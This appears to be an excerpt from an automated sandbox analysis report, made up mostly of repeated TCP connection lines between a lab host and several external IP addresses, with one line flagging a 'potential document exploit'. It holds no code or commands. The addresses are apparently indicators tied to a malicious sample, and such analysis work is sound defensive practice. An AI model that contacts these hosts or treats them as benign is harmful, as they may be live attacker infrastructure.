Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
